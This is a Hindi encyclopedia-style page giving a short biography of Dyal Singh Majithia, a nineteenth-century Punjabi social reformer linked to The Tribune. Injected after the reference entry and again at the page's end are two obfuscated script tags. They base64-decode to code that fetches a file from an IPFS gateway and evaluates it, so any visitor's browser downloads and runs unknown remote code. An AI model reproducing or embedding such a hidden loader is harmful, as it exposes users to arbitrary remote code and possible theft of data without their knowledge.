दयाल सिंह मजीठिया

भारत डिस्कवरी प्रस्तुति
माधवी अग्रवाल (चर्चा | योगदान) द्वारा परिवर्तित 11:51, 2 अप्रैल 2017 का अवतरण
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

दयाल सिंह मजीठिया (अंग्रेज़ी: Dyal Singh Majithia, जन्म- 1848, वाराणसी, उत्तर प्रदेश; मृत्यु- 1898, लाहौर, पाकिस्तान) पंजाब के क्रांतिकारी थे।[1]

  • दयाल सिंह मजीठिया पंजाब में अमृतसर शहर के निकट मजीठिया नामक गांव में एक ऐतिहासिक परिवार से थे।
  • उनके पूर्वजों ने महाराजा रणजीत सिंह के यहाँ नौकरी की थी।
  • दयाल सिंह ने अपना प्रारंभिक जीवन मजीठिया, अमृतसर और बतला में व्यतीत किया।
  • वे 1874 में इंग्लैण्ड गये और वहाँ पर दो वर्ष तक रहे। दयाल सिंह पश्चिमी शिक्षा तथा उदारवाद से अत्यन्त प्रभावित हुए।
  • वे समाज सुधारक बन गये तथा विधवा पुनर्विवाह की वकालत की।
  • अपने राजनैतिक दृष्टिकोण में दयाल सिंह नरमपंथी थे।
  • उन्होंने अनेक शैक्षणिक संस्थानों की नींव रखी इसमें कॉलिज और पुस्तकालय भी शामिल थे।
  • 'द ट्रिब्युन' जिसने पंजाब में राष्ट्रवादी आन्दोलनों की वृद्धि की।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. दयाल सिंह मजीठिया (हिंदी) क्रांति 1857। अभिगमन तिथि: 30 मार्च, 2017।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>